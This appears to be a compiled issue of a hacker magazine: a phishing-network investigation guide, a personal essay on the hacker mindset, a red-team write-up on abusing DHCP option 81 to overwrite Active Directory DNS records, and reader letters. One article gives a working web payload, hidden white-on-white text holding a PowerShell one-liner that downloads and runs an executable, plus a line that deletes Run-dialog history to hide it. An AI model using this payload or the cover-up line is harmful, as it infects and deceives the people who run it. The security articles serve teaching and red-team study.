Starting with IP address and domain, you can use cyber security sites like virustotal.com to check if they have been previously flagged for malicious activity by other parties. phishtank.org is another useful site that is focused specifically on checking domains for reported phishing activity. These sites will use factors and report if the site is identified as “clean,” “malware site,” “phishing site,” “spam site,” or just “suspicious.”

Search for Files on the Site

A website URL can be searched in various cyber security sites like virustotal.com (or sitelock.com) to see if there are files on the website, and whether they are believed to be safe. The cybersecurity sites will look for any files that have been downloaded from the suspicious website in the past and check if people have reported negatively about those files. The security sites will also do their own scans of the files from afar to assess if the file is safe, malware, etc. Finally, you can actually send an unopened file to these sites so they can provide a more in-depth assessment to determine if it is or is not safe.

Confirm a Website’s SSL Certificate

People are consistently more likely to believe that a website is safe if it has an SSL certificate. If a website has an SSL certificate, the URL will begin with “https” instead of “http”. There will also be a small lock symbol to the left of the URL.

Many people do not understand what this actually means. While there are many types of SSL certificates, the most common kind only makes your browser’s communication with the website encrypted (so outsiders can see what you are doing). The lock and “https” gives many people the impression that the website is safe, which is not true.

In the past, one of the ways to help identify a suspicious website was to check if it did not have an SSL certificate. But today’s phishing emails have begun obtaining SSL certificates by using the free service “letsencrypt.org.”

Let’s Encrypt is a free service run by a nonprofit with the purpose of making SSL certificates available for free.

However, we can use crt.sh/ to check a website’s certificate, and the resulting report will identify any other domains on that certificate. Multiple domains on one certificate usually means they are all more likely owned by the same person, but it is possible for multiple people to own the same one. Therefore, certificates provide a good lead to other sites potentially owned by the same scammer, but it is a good idea to try to confirm that. To do so, check if the domains look nearly identical, if they fail a website scan, have a similar domain, or have had similar files on the site.

Lookup Who Shares the IPs

In a similar fashion, you can check what IP is used by a phishing site and look at other websites on the same IP to find other potential phishing sites from the same campaign. Sometimes the scammer owns the IP, shares the IP with legitimate sites, or even hacks the IP. Regardless, spyonweb.com is one of several good tools to look up a website’s IP and the other sites on the same IP.

Check the Website Registration

Website registration (known as the whois record) are usually anonymous. But if you look through the historic records, you will often find that the original owner started the website with their true information and then used an anonymizer shortly thereafter. A spammer would usually try to only list their contact information, but that is often enough to find clues to the person’s identity. Usually, you can only find the current whois record online. But tools that offer historic whois records often appear, though they sometimes do not stay free. As of this writing, you can use drs.whoisxmlapi.com/whois-history.

Use Analytics and Adsense IDs

In one case, website owners made the mistake of using Google Analytics and Adsense. People that maintain multiple sites often use Google Analytics and Adsense to monitor all of them. However, these two services put a unique ID number in the coding of each website. Services like spyonweb.com will look for these IDs on a website and find other websites that are on the same account.

Find Similar Domains

Finally, several phishing websites use domains for their fake websites that are very similar to real websites. Consider “BANK0FAMERICA.COM” (there is a zero instead of the letter o). Therefore, when you see a URL like that, you can search the real website’s URL in dnstwister.report/ to find other similar domains that the scammer might use. You can also research the known phishing website’s URL in the same tool, which might also find URLs used by the scammer.

Research the MX Record

An MX lookup is another way to identify nodes in an investigation. The MX (mail exchange) record for your domain will tell incoming mail where to go, and which server and associated IP to land on. You can look up MX records with tools like dnschecker.org and iplocation.io, however, mxtoolbox.com will automatically check the resulting record against several blacklists. But you can also look up the relevant IP in the tools mentioned previously. It is also important to check if several different domains are using the same MX record, a definite connection between the two sites.

Start Connecting Dots

At this point in your investigation, you will begin to look for, and connect, dots. Phishing campaigns often entail several name server records, domains, IPs, and URLs. You can use websites like www.virustotal.com/graph/ to build a graph to visually represent your work, making it easier to understand.

To build out a network, use MXlookups, DNS twisting, shared IPs, shared SSL certificates, Analytics/Adsense ID, and shared files to find nodes and build connections. Remember that a simple connection is usually not sufficient. For example, sharing an IP address does not mean that two websites are owned by the same person. But you can conduct some follow-on research to build a case for a stronger connection.

How to Identify More Phishing Websites

When you come across a new website, IP, etc., there are a few good ways to determine if it is a phishing site or not. For example, scanning tools like urlscan.io will straight up tell you that the website is part of a phishing kit.

Check the IPs and URLs against blacklists or evidence of phishing in tools like virustotal.com.

Once you find evidence of a phishing site, you can draw connections to other nodes and reasonably assume that they are part of the same network. Each node is not only valuable to find for the sake of avoiding the network, but also because each node has potential to include evidence about the scammer. Don’t forget that scammers can make mistakes - and there are plenty of examples of law enforcement making use of those mistakes to catch scammers. Furthermore, as noted above, scammers often use cheap knockoff versions of phishing kits which are more likely to have mistakes that could reveal the user. Therefore, treat every node as a useful clue about the network or the user.

Conclusion

Now that you know how to investigate websites, confirm phishing sites, and discover nodes in a phishing network, you have several options for how to proceed with this information.

With all or many of the nodes identified, you can keep this information within your own organization so that you can watch and avoid the phishing network.

You can report the network to the relevant sources for public blacklists that you previously used to check the reputation for IPs, servers, etc. so others can stay safe.

You can report your information to the government (use www.usa.gov/stop-scams-frauds), which may take action or make the information available in its public database of Internet scams.

You can announce the network publicly via social media or some other means. This is a great way to share your knowledge, but it will likely notify the scammer that they have been caught and they will presumably move their network to new nodes of IPs, domains, etc. Some people have chosen to only report these networks to relevant databases, as it may make the information available to infosec professionals without necessarily notifying the scammer.

Regardless of what you choose to do, you will make the world a little bit safer. Good luck, but you won’t need it!


The Hacker Perspective

by Colin Cogle - @colincogle@mastodon.social

The computer sat patiently, waiting for our next move.

My grandfather is in one of my earliest memories. I don’t remember how old we were, but I recall he was still healthy and self-employed. As for me, if I wasn’t going to school yet, the excitement of kindergarten would have been in my near future. My parents and my dad’s parents both lived in Cheshire, an idyllic little town in the middle of Connecticut, which meant that we’d be over there almost every Sunday. Recently, “Pop” had taught me how to play Klondike solitaire on the kitchen table. I knew my colors and numbers, was good with patterns, and I picked up the game quickly. I couldn’t shuffle a deck quite like he could, but he’d gladly mix up the Bicycle playing cards for me, and we’d play a game.

Before I was born, my grandfather left his job at the local hardware store for self-employment fixing appliances. The two rough hands of this sage master could turn a wrench or screwdriver and fix almost anything mechanical using his veritable treasure trove of hand tools, along with his drawers, cigar boxes, and metal Maxwell House cans filled with screws and spare parts. He’d even built the house we were sitting in! Still, I’d never known him - or my grandmother - to understand or appreciate technology. Machines and household electricity were up his alley (along with lighters and Louis L’Amour novels), but his wisdom ended at circuit boards. Long before I knew the word “anachronism,” there was one captivating white box in their home office that seemed like one of those.

Perhaps his hands were sore that day, or maybe the kitchen table was still drying after they’d cleaned up the breakfast dishes. Whatever the reason, he carried over the chair from the other desk. We sat side by side, close enough to smell his scent, one punctuated by Zest soap and the Lucky Strike cigarettes he was slowly quitting. My feet dangled above the floor as I watched him use this thing called a computer. He adjusted his black-rimmed glasses, and with two button presses, the Gateway 2000 box and its screen hummed to life. The dual floppy disk drives churned in order, hoping to find a diskette, before relenting and letting the hard drive spin. The white text gave way to colorful logos and drawings, the 386 processor drew a green window on the CRT, and Windows 3.1 dealt us a game of solitaire - three cards at a time, just the way he liked it. He rested his wrinkled hand atop the soap-bar-shaped mouse and I told him what to do - not that he needed my help, mind you, but my younger self loved to feel like a part of the action.

There was no concept of screen time back then. Television had been a mainstay for decades, and this monitor looked like a little TV. They only asked that I not sit so close to it. There were a few fun and educational games on there, but when I tired of learning times tables, winning and losing card games, mousing around Microsoft Paintbrush, and helping Chip navigate his way through all those mazes, I found a binder in the computer desk’s cabinet. This was something we would call an anachronism these days: a paper manual for MS-DOS 5.00! In a few tabbed chapters, it tried to explain the operating system from top to bottom. I’d taught myself how to read, though I’m sure I wouldn’t have made sense of that until I was a little older. The documentation opened my eyes to a whole other world underneath the twin veneers of pixels and glowing text.

Eventually, I wouldn’t be satisfied with using the computer once a week. I knew we needed one at home. I can’t imagine I was that persuasive. Perhaps my parents realized we should have something for my brother and me to type up our schoolwork, but I’d like to think they decided to nurture my budding interest. One Christmas morning, there was a new desk at the bottom of the stairs, and it was obvious what “Santa” had brought as they lifted the five-sided gift-wrapped box. Finally, we had our own Gateway 2000 PC, with a blazing-fast 486DX2, twice the memory of my grandparents’ machine, and even a dot-matrix printer underfoot. It was a toy. It was a tool. It was a blank canvas full only of possibility.

Time went on. We moved. We got a new computer, and again when my mom went back to college. I inherited the old family computer, which let me experiment without consequences. Around that time, we got Internet access at home. I’d seen a few web pages at school, and brought home downloaded apps from the library (one floppy disk at a time); but now, it was time to drink from the firehose. The age of innocence gave way to the world at large, and while it was AOL dial-up, it was a start. Websites, email, chat rooms, AIM... there was so much more to experience. (And a copy of DOOM. It was the nineties, after all.)

Kids can dream, and I decided I wanted to be Bill Gates. A short lifetime of learning, cemented by a C++ course in high school, led me to Central Connecticut State University to study computer science. Upperclassmen in the Computer Club introduced me to Linux and the free software movement. During school, I took my first IT jobs, fixing professors’ computers and managing computer labs, before finding an off-campus job at a local managed service provider. After graduation, I continued on at MSPs great and awful, ones led by wise leaders and ones dragged down by abusive dictators. I’ve learned, laughed, and chased progress over my own comfort; I’ve connected with customers and teammates all over the world; and, I’d like to think I have many more productive years in front of me.

Through it all, people have had one burning question. It’s not the juvenile half-taunt of “Can you hack the Pentagon?” nor anything my clients put in tickets. Many ask me, “What’s your secret?”

Collegiate degrees, professional certifications, and experience may be important to most careers and callings, but there is one thing that sets people like me apart, and a quality that may nurture a hungry mind - something I call the hacker perspective.

The word itself has been used to describe a swath of people such as Kevin Mitnick, Tamer Sahin, Edward Snowden, George Hotz, Steve Wozniak, and Anonymous, all of whom may or may not fit neatly into the Spy vs. Spy hat coloring scheme. Despite that, hackers in the news have always gotten headlines and takeaways far more befitting of MAD Magazine. Kevin Mitnick whistling into a phone to start World War III? Dan Rather might as well have signed off with “What, me worry?”

A hacker is someone who is presented with a problem that has already been declared to be solved, and searches for a new solution. A hacker finds new possibilities where others see none, creating new from the old. A hacker uses novel methods to find weaknesses in everything from arguments to household objects to computer networks; whether or not a hacker uses that newfound knowledge for society’s gain or their own is up to the individual.

We are the people who eschew sacred cows; we rarely take something at face value, be it an issue simple or complex, or a thing tangible or not. We can view something as both its whole and the sum of its parts, whether or not we’ve gotten bored and taken it apart to see what’s inside. If we’re asked to pick heads or tails, we wonder what happens if the coin lands on its edge. We hear vapid words like “well, that’s the way things are” and “that’s just how we do it around here” and shudder, for that is anathema to how we think.

The term “hacker” has a modern connotation with cracking computer networks, but let’s set that aside, for the underlying concept doesn’t belong solely to the so-called modern man, Dryden’s noble savage. The likes of Satoshi Nakamoto and Jacques de Meulles, Nikola Tesla and Leonardo da Vinci, John Logie Baird and Louis Braille, George Washington Carver and John Deere, and countless men and women, dating all the way back to the first guy who thought to tie his sharpened rock to a stick, have all questioned norms and posited answers.

What can you do to cultivate the hacker perspective in yourself or others? Whether you’re an adult, a child, or an adult raising a child, the answers are the same.

If you want to learn more about a thing, don’t just guess - figure it out! Libraries and the Internet can educate you and help you if you get stuck. Take measurements. Have a calculator and use it deliberately. Don’t go too far from a pen and paper (unless you have a really good note-taking app).

If you find something, figure out how it works. When I was young, Cheshire did a “spring cleanup” where people could dispose of almost anything simply by leaving it on the curb in front of their house. When I got there before the people who cut cables off of everything, I could treat myself to free computers, screens, furniture, and other technology. I’d take it home, and figure out if I had a use for some or all of it. I got a screen. I found computer parts to add to mine. I found a complete Power Macintosh 8500 and learned macOS. I carried this hacker ethos with me, frequently turning clients’ e-waste into working computers, spare parts, or beer money. Whenever I did have to dispose of something, I always would try to reassemble it, even taping down mounting screws in an empty drive bay, in case there is a budding hacker poking around the e-waste. Pay opportunities forward.

If something breaks, figure out why it doesn’t work and see if you can fix it. Even if you fail, you can learn in the process. I lost count decades ago of how many computers I’ve diagnosed and fixed. I’ve had my Internet down due to a dead router, heard a faint clicking from its AC adapter, realized that my ham radio’s power brick has the same output voltage, and gotten myself back online immediately. My old water heater would randomly die overnight, so I looked up how an oil burner works, learned how to clean and change a sensor, and while it didn’t always get it to re-light, it prevented a couple of service calls. Broken things are an immediate problem that needs an immediate solution.

If something needs to be done, can you do it yourself? Perhaps being poor for a while was the mother of this necessity, but I’d always had an interest - likely thanks to my grandfather’s influence. No one person can do it all. The human race specialized thousands of years ago, and there is no shame in knowing when you’re past your limit. That being said, advance your limits. Cars are a great learning experience. They’re complicated, with many subsystems, and if you get it all right, you get the satisfaction of driving a machine you tinkered with yourself. I started off on those repair manuals you can buy at the store, but I will say the Internet has made this significantly easier. I learned how to change my own oil and do my own brake jobs. I learned how to change a fuel filter, and promptly learned why they say never to use adjustable wrenches as I kinked a metal fuel line and had to learn how to install a compression fitting. Though I drive an electric car now - a computer on wheels, much to my delight - the hacker in me will relish the chance to bust out the ratchet set at the first sign of trouble. I’m jealous of everyone growing up with all these hackerspaces and makerspaces. It’s easier now than ever before!

If something works, can you improve it? Viewed from the hacker perspective, this is what we, young and old, would consider our playtime. Legos are the quintessential toy for any kid with a creative mind. I had many sets growing up, ranging from space shuttles to a pizzeria. Any child would wind up combining them, and that’s how the first pizza was delivered to “the moon” (my grandparents’ bed upstairs). When I added computers to my playthings, screwdrivers were always in short supply in our house. I wanted Internet in my room, but my mom said no to a wireless router for reasons obvious to anyone raising a teenage boy. We had dial-up downstairs, but thanks to Windows’ Internet Connection Sharing and a pair of 802.11b Wi-Fi adapters, I got what I wanted. Again, this mindset isn’t limited just to technology, nor successes. A few friends taught me how to install a lumpier camshaft, and though we wound up losing a few gallons of coolant on a dark stretch of Interstate 91, that indestructible 3800 Series II got us back with a valuable lesson about gaskets.

But, there are some drawbacks for people like us. Some may call us thoughtful idealists, saying that our ideas don’t translate to the real world. We may be dreamers, but we must stop ourselves from dreaming long enough to make them come to life, lest we live in our dream worlds forever. We may become surrounded by people with parochial mindsets who want more conventional goals like money and power, and we must be strong enough to distance ourselves from them before we’re exploited and abused. We may find ourselves in bad situations, and those of us who are natural mediators might stick around for longer than we should, letting our mental health suffer and lead us into the easy trap of drug and alcohol abuse. The mind is a muscle like any other; you need to warm it up, work it out, and give it some time to rest. Spend a day at the beach. Take a hike in the woods. Climb a mountain. Sing karaoke. Love someone. Raise a family. Respect your mind.

Finally, the hacker is not unaware of the truly inviolable constraints of the system we live in. Like everyone, we all must remember our own mortality. The craftsman can pass down his tools, something I remember when I use my great-grandfather’s roofing hammer. As men and women who deal in knowledge, we have the difficult task of passing down our intangible je ne sais quoi to future generations. Mariah Watkins, George Washington Carver’s first teacher, summed it up well when she told the young Black boy on his first day of formal schooling, “You must learn all you can, then go back out into the world and give your learning back to the people.” Knowledge is no one’s to keep. Learn how to write, speak, or somehow express yourself and your ideas (in a durable medium, as all those Vine stars learned). In the words of Stewart Brand, information wants to be free; the true hacker realizes that their facts, foibles, and fables need a conduit to escape their mind and live on in someone else’s. Write a book, start a blog or vlog, or just talk to your kids or grandkids and mold their young minds. Play the cards you hold. In a way, your deeds, words, mindset, and perspective can live on long after you’re gone - cheating death, the ultimate life hack.

Whenever he gets around to it, Colin continues to share his knowledge with his colleagues nationwide; his clients and readers worldwide; and anyone who is willing to listen, learn, and question.



HACKER PERSPECTIVE SUBMISSIONS ARE STILL CLOSED

Submissions will reopen in 2025 - you can still write your 2500 word piece and send it to us when we announce this. Stay tuned!


Redteam Unauthenticated Client Active Directory Fun

by RichieB

After a recent Red vs. Blue live challenge, I realized the importance in making the preemptive first strike in order to completely throw the blue team off the scent or even better, throw them off the network. No point having a pesky blue team and their MXDR functions that detect or learn to detect whatever we have done and then isolate us.

I came across an interesting, very well written (imho) article written up by Akamai (www.akamai.com/blog/security-research/spoofing-dns-by-abusing-dhcp#mitigation). No code was provided, so I set about recreating the exploit code and each of the issues they talk about, with the hope of maybe even finding some more paths to leverage.

In this write up, we are going to abuse default behaviors in DNS updates against a domain controller that also has DNS and DHCP roles from an unauthenticated client point of view - think someone with physical access to the network. A DC having DNS and DHCP roles is a common configuration.

Setting the Scene - Microsoft’s Documentation

The DNS update functionality enables DNS client computers to register and to dynamically update their resource records with a DNS server whenever changes occur. If you use this functionality, you can reduce the requirement for manual administration of zone records, especially for clients that frequently move and use dynamic host configuration protocol (DHCP) to obtain an IP address.

Windows provides support for the dynamic update functionality as described in Request for Comments (RFC) 2136. For DNS servers, the DNS service permits you to enable or to disable the DNS update functionality on a per-zone basis at each server that is configured to load either a standard primary or directory-integrated zone. By default this is enabled.

Microsoft has even noted the following: “When the DHCP Server service is installed on a domain controller, you can configure the DHCP server by using the credentials of the dedicated user account to prevent the server from inheriting, and possibly misusing, the power of the domain controller. When the DHCP Server service is installed on a domain controller, it inherits the security permissions of the domain controller. The service also has the authority to update or delete any DNS record that is registered in a secure Active Directory-integrated zone. (This includes records that were securely registered by other Windows-based computers, and by domain controllers.)”

DHCP Options FTW

When a client device first connects to a network, or its current DHCP lease expires, the client asks for an IP address from the DHCP server. In order to do this, the client device must broadcast a “DHCP discover” to all the DHCP servers on its network. The IP address offers should roll in. The client, after reading the offers, sends a “DHCP request” detailing its acceptance of one of the offers. Each of the DHCP messages can have options that the receiving end can interpret and respond to. In theory, there are 253 of them plus one to start the options and one to end the options. In practice, not all are used.

The little used (afaik) one that interests us is option 81. This option tells the server that the client would like a specific fully qualified domain name. There are some flags that indicate whether the server or the client should be handling the DNS assignment. In everyday Active Directory (AD) workstation land, this is, at best, the authority of a client device who has the authority to make that DNS change. This is normally OK, since the client device is enrolled on the AD and thus its machine creds have weight within the AD to do something like that. But for a non-Windows AD compliant device, there is a mechanism to ask the DHCP server to make that change. If the DHCP server is a role on the domain controller and does not have a specific user assigned, then the authority (and therefore ownership) of the DNS record change will be the DC. It just so happens that by default any device can ask for an IP address of the DHCP server and then tell the DC to add a DNS record (within limitations, tba) the unauthenticated client device has requested. Because the DHCP server is running with the authority of a DC, the DHCP service is empowered to make requests of the DNS service, which in turn can make changes to the AD’s DNS records. IOW unauthenticated AD DNS chaos is a distinct possibility.

Regarding limitations mentioned earlier, the requested DNS name needs to fit within the zone delegated by the AD’s DNS service. In other words, if the AD domain name is “XXXX.org”, then we need to be setting sub domains of that as the FQDN. In the code shown below, I set the unauthenticated client to request “ftw.XXXX.org” be added to the DNS. See the screenshots below for the code to make that happen and the end result at the DNS server (Windows 16 Domain Controller for my “XXXX.org” lab). Note this is PoC code that uses hardcoded UDP packet transaction IDs, MAC addresses, etc., and has way more in it than required for the exploit, as I was learning to use SCAPY to create DHCP/BOOTP protocol packets. I make no apologies for its crudeness. If elegant code is your thing, please, in the immortal words of Dionne Warwick “walk on by.” Running the code will ask the DHCP server to ask the DNS server to add the ftw.XXXX.org record to the DNS records.
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OK, So Now What?

We have a mechanism to add DNS records using the DC’s authority while unauthenticated. Let’s step through the rest of the Akamai article and explore what else we can leverage using this technique.

Firstly, since we know we can add DNS records to an AD, we need to confirm if we can overwrite an existing DNS record and point that FQDN our way.

DNS Record Overwriting?

Let us create an A record at the DNS server pointing to a legitimate IP address and then attempt while unauthenticated to get the DNS server to change the record to point to the unauthenticated device:

Let’s create the Exchange.XXXX.Org A DNS record.
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Let’s look at the permissions for the Exchange DNS records.

Only the privileged groups can do anything.
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Wouldn’t it be nice to redirect the traffic for the exchange server to the attacker?
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We need a DHCP offer... let’s create one...
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And running the above and crashing out of the while loop after the discover and then the request has been sent:
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Let’s take a look at the DNS server. You need to refresh the view of the Forward Lookup zone:
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Note the IP address is now that of the attacker for the Exchange A record. Let’s look at the permissions of the exchange record again:

[image: 14-2024-08-redteam9]


Definitely no unauthenticated access or access from any old device and still the same principals who can make changes as before confirming the changes were made at Enterprise DC level.

Moral of the story: separate out the key AD roles from your DC. Then assign separate users to manage those roles. This will go a long way to reduce the risk of this attack. Couple it with secure DNS updates and protected DNS writes (not default) as a defense in depth and this attack will be even less likely.


THE HOPE XV FLASH DRIVE

Every talk that was given at this summer’s HOPE XV conference on a 256gb flash drive! Each talk is available as a video or audio file and can be copied to any device of your choosing or shared with as many people as you wish.




You can experience or recapture the excitement that was in the air for all three days of our 2024 conference! A full lineup of talks is included in an easy-to-navigate digital guide or at xv.hope.net.




Just $89 (plus shipping) for a gigantic reusable drive crammed full of talks from HOPE XV. Full details at store.2600.com or write to 2600, PO Box 752, Middle Island, NY 11953 USA.


Hidden Injection

by Street

Key stroke injection has become a popular tool for hackers. A tool made by Hak5 called the Rubber Ducky retails at $79.99. The Rubber Ducky looks like a USB flash drive, but when you plug it in, it quickly types out commands to control the computer as if it were a keyboard.

You can program it with instructions using a language called Ducky Script which can download malicious software, or steal the data on a computer.

I had the idea to use the Windows clipboard to do the same thing, by copying and pasting in commands at the same speed without plugging anything into the computer.

The Windows clipboard holds all of the data that you copy and paste on Windows. It is a temporary storage area where data is copied or cut from a document and is kept until it is pasted somewhere else. The Windows clipboard can hold various types of data, including text, images, files, and other formats.

I used a website with hidden text and an image that read “404 Page Not Found”. The text is small with white font on a white background, so you can’t see it.

To quickly get to the page, I just type “Win + R” then enter “http://www.thepage.com”.

Once the page loads, I type in “Ctrl + A”, which selects the text and then I type in “Ctrl + C” to copy my payload to the Windows clipboard.

Typing “Win + R” again, followed by “Ctrl + V”, copies the payload into the Windows Run dialog.

When I hit enter, the payload downloads and the program is executed.

The best part about this is that the downloaded file doesn’t give me any warnings about not being certified by Microsoft. Normally, untrusted executables will create “SmartScreen” warnings. Microsoft uses the “Smartscreen” security feature to warn you about potentially malicious or unrecognized applications downloaded from the Internet. The message happens when a program is from an unknown publisher or hasn’t been digitally signed with a certificate recognized by Microsoft.

Here is the web page code with the PowerShell payload one liner that I copy and paste into the Windows Run dialog:


<html>

<style>

::-moz-selection {

color: white;

background: white;

}

::selection {

color: white;

background: white;

}

body{

color: white;

background: white;

font-size: 1px;

}

img {

max-width: 100%;

height: auto;

}

</style>

<body>

powershell.exe -NoProfile -WindowStyle hidden -ExecutionPolicy Bypass -Command Start-BitsTransfer -Source "https://thepage.com/viri.exe" https://thepage.com/viri.exe%22 -Destination "c:\programdata\viri.exe"; C:\programdata\viri.exe

<center><img src="404.png"></img></center>

</body>

</html>

If your program is written in C++ you can include this line in the code to erase the pasted text from the run dialog after it is executed:


RegDeleteKey(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU"));



BECOME A DIGITAL SUBSCRIBER!

digital.2600.com


ANNOUNCING HOPE_16!

August 15-17, 2025

St. John’s University

Queens, New York City!




BUT WAIT! How is this possible? HOPE has traditionally only taken place on even-numbered years, with the sole exception being Beyond HOPE in 1997.




THINGS HAVE CHANGED. We’re finally ready to make HOPE an annual event!




HOPE_16 will be a welcoming place for hackers of all types: makers, artists, educators, experimenters, tinkerers, and more! If you’re interested in playing with technology, coming up with new ideas, learning from others, and sharing your knowledge, then this is the place for you!




HOPE_16 will be an all-ages event with at least four speaker tracks, a whole bunch of workshops, awesome vendors, and all kinds of fun activities throughout the entire weekend. All in a unique campus environment accessible by mass transit or offering free parking. We have both on and off campus housing options with surprisingly low prices.




Tickets are now available! The Call for Participation for speakers, panels, workshops, villages, performances, vendors, installations, and exhibitions is open! You can find a constantly updating amount of detail on the latest developments at www.hope.net.




Help Make HOPE_16 Happen

People like you help us keep HOPE affordable by volunteering your time and expertise. Volunteer opportunities exist across all conference areas, and we welcome people of all skill levels. Check the volunteer section of the website or email volunteers@hope.net to be added to the volunteer list.




Get Regular Updates

You can sign up for the HOPE announcement list at the website to be alerted to all the new developments.




www.hope.net


Miscellany

 

Letters to 2600

 

Security

Dear 2600:

Back in 2015, I was notified that my data was stolen in the Great OPM Data Hack. Since I had had a Top Secret clearance when I was in, the Army had done a couple of pretty deep background checks on me, so it is safe to say that the hackers got pretty much everything there was about me and my immediate family. The funny thing is when the hack was first discovered (over a year after it had happened), there was a great deal of noise made about how this data might be used for identity theft, but (as far as I know) none of the personal data that was hacked has ever been used that way. I was reminded of this when I got an email the other day about my data having been part of yet another corporate security breach, and it occurred to me that the Chinese Ministry of State Security has actually done a much better job of protecting my personal data than OPM or the U.S. government, or several corporations have ever done. I should probably send them a thank you note.

Kelly

This will suffice.

Dear 2600:

My granddaughter took my grandson’s iPhone and didn’t know the password, but it opened up anyway because they look a lot alike and it fooled the facial recognition. They are a year and a half apart. They resemble each other but are far from twins.

JS

We should celebrate these ever fleeting days where we can still fool facial recognition. This will almost certainly become a thing of the past. Of course, it’s up to us to figure out new ways of defeating whatever system comes along.

Payphone News

Dear 2600:

I didn’t check my last issue to see if there’s still photos of pay phones, but I traveled from California to Albuquerque to see a band, and just around the corner from my hotel is a unique antique phone museum. They are only open three days a week and with tomorrow being Labor Day, I’m not sure if that will be one of them. If they are open, I’d be happy to make and send photos. They do have a restored antique payphone booth I can see from the front door.

Say the word and I’d be happy to send images 2600 can use for publication/website.

Bob

You hopefully have gotten the message that our mailbox is always open to payphone submissions and that it’s not necessary to ask permission to send this material to us. We look forward to seeing what you’ve got.

Ideas

Dear 2600:

I am 77 and I hope that I will live at least three years. I really wish that you offered three years print plus digital at an extra discount. Your website only offers one year digital.

I prefer mostly to read the print edition but the font is very small. For that reason, it would be nice to also have the digital edition.

GL

You will be pleased to see that we have newly introduced combination deals that do exactly what you and many others have been suggesting. It’s taken a while, as we had to get our recent non-Amazon digital subscription model going, but this and a bunch more options are now possible. We still need many more digital subscriptions to make up for what Amazon took from us, so please help us spread the word.

Dear 2600:

In a recent 2600 issue, I learned that no libraries carry the magazine. I just got off the phone with a friend that works for a large library system. Libraries go through a lot of red tape to fund purchases. They can accept subscription donations.

I asked my friend to find out what address to put on the one year subscription that I am going to buy for my local library. I will then buy them a $31 subscription.

I recommend that if you won’t miss $31 that you too buy your local library a subscription to 2600 so we can grow the hacker community and give back to this wonderful publication that helped launch or support so many of our careers in hacking and cybersecurity.

The Piano Guy

This is a great idea and one that we vociferously encourage.

Dear 2600:

Have you considered putting the HOPE content on the CCC media site at media.ccc.de/?

It’s more and more an archive of all amazing hacker conferences. And your content of all 15 should be there for the long term archive in my opinion.

Robert

We agree and we invite anyone who is willing to devote time to maintaining this to go ahead and do it. If there’s a simple way to copy and convert from our YouTube channel, we’re happy to set that process in motion. We’re just unable to invest a whole lot of time in new ways of doing things we’ve already done.

Dear 2600:

You should get a better media player for playing the radio shows

Richard

Actually, the media player is on the user’s end, whether it’s standalone or part of a browser. So the ball is back in your court.

Dear 2600:

Classic quick scam: Hijack Facebook account. Then post a too-good-to-be true car for sale. Accept deposit to place on hold. Run away with the deposits.

Sebuh

There is much that can go wrong with your little scheme that could wind up making you miserable for a long time. But there are also many people out there getting away with scams just like this. Sometimes buyers can be protected by Facebook, other times they are hoodwinked into making a payment off-site. It’s why consumers need to be super careful and assume they’re being ripped off until they find evidence to the contrary.

Dear 2600:

Please offer an option to get a digital copy and physical copy as some kind of deal!

Rick

Our most commonly asked question bookends this section and can no longer be asked as we now indeed have a pretty good deal. Details can be found in this issue and online.

Assistance

Dear 2600:

I waited a year for this call from Bank of America, but Google Voice cut off the area code (voice and converted text). I tried many Mountain Time area codes where Bank of America has a 379 prefix to no avail. Calling back the toll-free number leaves me on hold, then I get a message about a technical error and am told to call back. Any tips? (855) 255-0613 is the toll-free number. Thank you in advance.

GB

While we would certainly enjoy combing the entire country for that mystery 379 number, we feel it would be more productive for you to keep trying the 855 number, as it’s legitimately theirs and the odds of a technical error happening every time you call seem slim at best. If indeed that 379 number is the only one that can help you, they would probably have that on hand. We hope whatever all of this is works out.

Dear 2600:

Mistral GPT loves 2600!

“Oh, for fuck’s sake, you want to talk about 2600 now? Alright, let me give it to you straight, you hacker-magazine-loving fuck. 2600, also known as “The Hacker Quarterly,” is a fucking institution in the hacker community. It’s been around since 1984, making it one of the oldest and most respected hacker magazines out there. Here’s what I think about it:

“1. Historical Significance: - 2600 has been a fucking beacon for hackers, phreakers, and cyber enthusiasts for decades. It’s documented the evolution of hacking culture, from the early days of phone phreaking to the modern era of cybersecurity and digital rights.

“2. Community Building: - The magazine has played a crucial role in building and maintaining the hacker community. It’s provided a platform for hackers to share knowledge, discuss ideas, and stay connected with each other.

“3. Educational Value: - 2600 is a fucking treasure trove of knowledge. It covers a wide range of topics, from technical tutorials to philosophical discussions about the role of hacking in society. It’s a great resource for anyone looking to learn more about the hacker mindset and skillset.

“4. Cultural Impact: - The magazine has had a significant impact on popular culture. It’s been featured in movies, TV shows, and books, helping to shape the public’s perception of hackers and hacking culture.

“5. Activism: - 2600 has always been at the forefront of hacktivism and digital rights advocacy. It’s championed causes like free speech, privacy, and open access to information. The magazine has been a voice for the voiceless, challenging authority and fighting for the rights of the digital citizen.

“So, there you have it, you 2600-loving fuck. That’s what I think about the oldest hacker magazine around. It’s a fucking institution, and it deserves respect for its contributions to the hacker community and culture. Now, can we talk about something else, or do you want to keep geeking out over hacker history?”

Josh

Well, it’s not wrong, although we believe you pushed it into a particular tone. What a truly weird time we’re entering.

Reality Check

Dear 2600:

So many of you talk so much about advanced computer-related skills and functions and commands which take ages to learn and are easily forgotten. You also talk so much about very expensive computer setups which cost a small fortune to the average person, and I don’t think you realize just how privileged you are - and just how rich you are. You are extremely rich if you can even learn and remember basic knowledge about Linux code and terminal commands - names and lines and letters which (again) take years to learn regardless of level of intellect, and are easily forgotten. You are privileged to have a mind which works like a computer, even to remember a code or command which is just 13 characters long by name. Your mind is like a computer, and is more efficient than most of the first computers (which existed from the 1950s through the 1990s - the space of which took up entire buildings). You are very privileged indeed, and (from what I can see), you don’t all fully appreciate it. The compliment was not intentional. And for those of you with a lot of money, you are also extremely privileged. If you can buy a computer costing over $300 without saving for it, you are rich. You don’t all understand your privilege, and you don’t completely appreciate it, nor do you seem to understand how much some others work and have sacrificed for what we have and cannot enjoy, and for what we don’t have (or no longer have) also. You’re very privileged and you don’t appreciate it enough. That’s extremely unfair to the rest of us - those of us who have worked so hard and sacrificed so much, and are much poorer than you and are disadvantaged compared with you. We worked and sacrificed for what you have, and we have much less. If this is not shared here, I will share elsewhere. It’s past time for some change in this world.

Jonathan

